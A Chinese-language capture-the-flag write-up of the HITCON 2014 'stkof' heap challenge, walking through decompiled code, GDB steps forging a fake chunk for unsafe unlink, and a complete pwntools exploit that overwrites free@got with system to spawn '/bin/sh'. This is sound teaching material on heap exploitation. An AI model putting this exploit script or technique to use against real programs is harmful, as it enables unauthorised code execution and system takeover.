HITCON CTF 2014 --- stkof · Unsafe Unlink
我们今天看一下这道unlink相关的题目,这道题目相对简单

我们查看完保护之后就使用ida进行静态分析一下
ida静态分析
我们还是先看main函数
__int64 __fastcall main(int a1, char **a2, char **a3)
{
int v3; // eax
int v5; // [rsp+Ch] [rbp-74h]
char nptr[104]; // [rsp+10h] [rbp-70h] BYREF
unsigned __int64 v7; // [rsp+78h] [rbp-8h]
v7 = __readfsqword(0x28u);
alarm(0x78u);
while ( fgets(nptr, 10, stdin) )
{
v3 = atoi(nptr);
if ( v3 == 2 )
{
v5 = sub_4009E8(); //sub_4009E8函数就是edit函数
goto LABEL_14;
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
v5 = sub_400B07(); //free
goto LABEL_14;
}
if ( v3 == 4 )
{
v5 = sub_400BA9();
goto LABEL_14;
}
}
else if ( v3 == 1 )
{
v5 = sub_400936(); //create函数
goto LABEL_14;
}
v5 = -1;
LABEL_14:
if ( v5 )
puts("FAIL");
else
puts("OK");
fflush(stdout);
}
return 0;
}
我们这里注意一下:这里是有一个金丝雀保护的也就是v7,虽然这个漏洞用不到,但是还是提醒一下。
这次的题目代码没什么难度,我们直接看漏洞点
__int64 sub_4009E8()
{
int i; // eax
unsigned int v2; // [rsp+8h] [rbp-88h]
__int64 n; // [rsp+10h] [rbp-80h]
char *ptr; // [rsp+18h] [rbp-78h]
char s[104]; // [rsp+20h] [rbp-70h] BYREF
unsigned __int64 v6; // [rsp+88h] [rbp-8h]
v6 = __readfsqword(0x28u);
fgets(s, 16, stdin);
v2 = atol(s);
if ( v2 > 0x100000 )
return 0xFFFFFFFFLL;
if ( !(&::s)[v2] )
return 0xFFFFFFFFLL;
fgets(s, 16, stdin);
n = atoll(s);
ptr = (&::s)[v2];
for ( i = fread(ptr, 1u, n, stdin); i > 0; i = fread(ptr, 1u, n, stdin) )
{
ptr += i;
n -= i;
}
if ( n )
return 0xFFFFFFFFLL;
else
return 0;
}
在edit函数中我们发现在低18行,我们fread的输入长度是我们自己规定的,这样一来我们就可以使用堆溢出漏洞来完成这个unlink漏洞的演示了
然后我们注意一个点:
__int64 sub_400936()
{
__int64 size; // [rsp+0h] [rbp-80h]
char *v2; // [rsp+8h] [rbp-78h]
char s[104]; // [rsp+10h] [rbp-70h] BYREF
unsigned __int64 v4; // [rsp+78h] [rbp-8h]
v4 = __readfsqword(0x28u);
fgets(s, 16, stdin);
size = atoll(s);
v2 = (char *)malloc(size);
if ( !v2 )
return 0xFFFFFFFFLL;
(&::s)[++dword_602100] = v2;
printf("%d\n", dword_602100);
return 0;
}
我们看进行申请堆块的函数的14行,我们可以发现这个是前置的加加,也就是说下标为0的堆块我们用不到

动态验证

我们这里直接创建3个堆块,然后对第二个堆块的内容进行修改,这里的144是我们申请的堆块的大小128+16(堆头)

(gdb) set {long}($u2+0x00) = 0 # 伪造 fake_chunk 的 prev_size
(gdb) set {long}($u2+0x08) = 0 # 伪造 fake_chunk 的 size
(gdb) set {long}($u2+0x10) = 0x602138 # 伪造 fd (即 ptr - 0x18)
(gdb) set {long}($u2+0x18) = 0x602140 # 伪造 bk (即 ptr - 0x10)
这里的0x602150存储的就是chunk2的地址

这里我们看到s的地址是0x602140,然后之后的符号是db也就是一个字节,我们的程序是64位的,所以chunk2就是0x602140+0x10
watch *(long*)0x602150
上面的指令的意思是:死死盯住 0x602150 这个内存地址,只要有任何代码敢修改里面的数据,立刻把程序暂停下来,并向我报告!
第一次命中:
第一次命中(执行 FD->bk = BK**):** Old value 是一串堆地址(原来的 P)。 New value = 6299968,转换成十六进制就是 0x602140(这就是 ptr - 16,你伪造的 BK)。 此时程序停在了 libc.so 的内部。


第二次命中:
Old value 是刚写进去的 0x602140。
New value = 6299960,转换成十六进制就是 0x602138(这就是 ptr - 24,你伪造的 FD)。
大功告成!最终留在 0x602150 里的值,被死死地钉在了 0x602138。


此时我们就差临门一脚就可以完成unlink了

(gdb) delete
删除刚才下的 watch 观察点和断点,让程序接下来能畅通无阻地跑下去。
(gdb) set $sys = *(long*)0x602088 - 0x36e80 + 0x45390
(gdb) printf "system = %p\n", $sys
-
0x602088是程序里atoi函数的 GOT 表地址。程序在前面运行菜单时已经用过atoi了,所以此时 GOT 表里存的已经是atoi在内存中的真实物理地址。 -
*(long*)0x602088:提取出atoi的真实地址。 -
- 0x36e80:减去atoi在 libc 库里的固定偏移量(这个偏移是你提前查好的),得到的值就是 libc 库在内存中的加载基地址。 -
+ 0x45390:加上system函数在 libc 里的固定偏移。 -
结果: 完美算出了此时此刻系统中
system函数的绝对真实地址,并存入 GDB 变量$sys。(gdb) set {long}0x602140 = 0x602088 # s[0] 指向 atoi@GOT
(gdb) set {long}0x602148 = 0x602018 # s[1] 指向 free@GOT
(gdb) set {long}0x602150 = 0x6021a0 # s[2] 指向 .bss 段的一块空白区域
(gdb) set {long}0x602158 = 0 # s[3] 清空
如果是写 Python 脚本,你会往 s[2] (0x602138) 里连着写入上面这些地址。在这里你直接用 GDB 赋值了。
你把程序原本用来记堆块的"账本",强行换成了系统关键函数(atoi 和 free)的控制面板。
(gdb) set {long}0x602018 = $sys
这是最致命的一击。
0x602018 是 free 函数的 GOT 表地址。
你把刚才算出来的 system 函数地址($sys)直接塞进了 free 的 GOT 表里。
从这一秒开始,这个程序里再也没有 free了,只要程序调用 free(xxx),底层实际执行的都会是 system(xxx)!
(gdb) set {long}0x6021a0 = 0x0068732f6e69622f
- 刚才在第 3 步,你让
s[2]指向了0x6021a0这个空白内存。 - 现在你往
0x6021a0里面写了一串十六进制数0x0068732f6e69622f。 - 把这串数字按"小端序(Little-Endian)"转成 ASCII 字符,刚好就是:
"/bin/sh\x00"! - 结果就是:现在 **
s[2]这个指针,指向了字符串"/bin/sh"**。

之后我们进行释放一下就完成了验证
此时我们的动态验证就完成了,接下来就是写脚本
exp
from pwn import *
BIN_DIR = os.path.dirname(os.path.abspath(__file__))
EXE = os.path.join(BIN_DIR, 'stkof')
LIBC = os.path.join(BIN_DIR, 'libc-2.23.so')
LD = os.path.join(BIN_DIR, 'ld-2.23.so')
context.log_level = 'info'
context.arch = 'amd64' # 必须显式设置:flat() 默认按 32 位打包,会把 payload 写歪
elf = ELF(EXE, checksec=False)
libc = ELF(LIBC, checksec=False)
# ---------------------------------------------------------------- 关键偏移表
S_BASE = 0x602140 # s[] 指针数组基址 (.bss)
FREE_GOT = 0x602018 # free@got
ATOI_GOT = 0x602088 # atoi@got
PUTS_PLT = 0x400760 # puts@plt
STR_ADDR = 0x6021a0 # s[12] 槽的位置,仅借来放 "/bin/sh",不参与指针解引用
def start():
# 沙箱里 stkof 的 interp 是 ./ld-2.23.so,必须显式用它加载,
# 否则会去啃系统 glibc 并报 GLIBC_PRIVATE。
return process(['./ld-2.23.so', '--library-path', '.', './stkof'], cwd=BIN_DIR)
def add(size):
p.sendline(b'1')
p.sendline(str(size).encode())
p.recvuntil(b'OK\n', timeout=3)
def edit(idx, size, data):
p.sendline(b'2')
p.sendline(str(idx).encode())
p.sendline(str(size).encode())
p.send(data)
p.recvuntil(b'OK\n', timeout=3)
def free(idx, consume=True):
p.sendline(b'3')
p.sendline(str(idx).encode())
if consume:
p.recvuntil(b'OK\n', timeout=3)
def exploit():
global p
# ---- 0. 预热 stdout 缓冲区 -------------------------------------------
# 第一次 printf 会触发 stdout 的 malloc(1024),插在堆块之间打断连续性,
# 导致 chunk2/chunk3 不再相邻。先打一次无关命令把缓冲区准备好。
p.sendline(b'9')
p.recvuntil(b'FAIL\n', timeout=3)
# ---- 1. 布局 --------------------------------------------------------
add(0x100) # 1 -> U1
add(0x30) # 2 -> U2 伪造 chunk 的载体(要求 size 恰为 0x40,使 U2 落在后续 prev_size 之前)
add(0x80) # 3 -> U3 victim
# ---- 2. 伪造 chunk + 污染 victim 的 prev_size / PREV_INUSE ----------
# unlink 宏在 glibc 2.23 的取址方式是 P->fd = *(P+0x10), P->bk = *(P+0x18),
# 而 p 由 chunk3 - prev_size 反推,prev_size=0x30 使 p 正好落在 U2。
# 于是校验读到的 *(FD+0x18) 与 *(BK+0x10) 都指向 s[2] 槽,其值就是 U2 == p。
S2 = S_BASE + 2 * 8 # &s[2] = 0x602150
fake = p64(0) + p64(0) # U2+0x00: 假 chunk 的 prev_size / size
# size=0 落在 smallbin 区间,跳过 fd_nextsize 分支
fake += p64(S2 - 0x18) # U2+0x10: 假 chunk 的 fd
fake += p64(S2 - 0x10) # U2+0x18: 假 chunk 的 bk
fake += b'\x00' * 0x10
fake += p64(0x30) + p64(0x90) # chunk3 的 prev_size=0x30,size 清掉 PREV_INUSE(原为 0x91)
edit(2, len(fake), fake)
log.info('fake chunk 就绪,触发 unlink')
free(3) # -> s[2] === 0x602138
# ---- 3. 把 s[] 数组改造成「指针表」 ---------------------------------
# 现在 edit(2) 写的是 0x602138,即 &s[0]-8。
# ▸ 0x602138 是 s[] 前的填充,跳过 8 字节后正好落在 s[0]。
edit(2, 0x28, p64(0) + p64(ATOI_GOT) + p64(FREE_GOT) + p64(STR_ADDR) + p64(0))
# s[0] = atoi@got (泄露用,free 后会被清零)
# s[1] = free@got (改写 GOT 用)
# s[2] = STR_ADDR (放 "/bin/sh")
# s[3] = 0
# ---- 4. 泄露 libc ---------------------------------------------------
edit(1, 8, p64(PUTS_PLT)) # free@got <- puts@plt
free(0, consume=False) # 实际执行 puts(atoi@got) ------ 打印 atoi 的运行时地址
leak = p.recvn(6, timeout=3) # 地址 6 字节(第 7 字节为 \x00,puts 到此为止)
p.recvuntil(b'OK\n', timeout=3)
atoi_addr = u64(leak.ljust(8, b'\x00'))
libc_base = atoi_addr - libc.symbols['atoi']
system = libc_base + libc.symbols['system']
assert libc_base & 0xFFF == 0, '泄露解析失败: %#x' % atoi_addr
log.success('atoi = %#x', atoi_addr)
log.success('libc_base = %#x', libc_base)
log.success('system = %#x', system)
# ---- 5. GOT 换成 system,放飞 "/bin/sh" -----------------------------
edit(1, 8, p64(system)) # free@got <- system
edit(2, 8, b'/bin/sh\x00') # STR_ADDR <- "/bin/sh"
free(2) # -> system("/bin/sh")
# ---- 6. 验证 shell --------------------------------------------------
p.sendline(b'echo PWNED_UNLINK_UNSAFE')
time.sleep(0.4)
out = p.recv(timeout=3).decode(errors='replace')
p.sendline(b'id')
time.sleep(0.4)
out += p.recv(timeout=3).decode(errors='replace')
p.sendline(b'echo ---SHELL_OK---')
time.sleep(0.4)
out += p.recv(timeout=3).decode(errors='replace')
print(out)
assert 'PWNED_UNLINK_UNSAFE' in out, '未拿到回显'
log.success('shell 到手')
return out
if __name__ == '__main__':
p = start()
try:
exploit()
p.sendline(b'exit')
except Exception as e:
log.failure('利用失败: %r', e)
raise
finally:
p.close()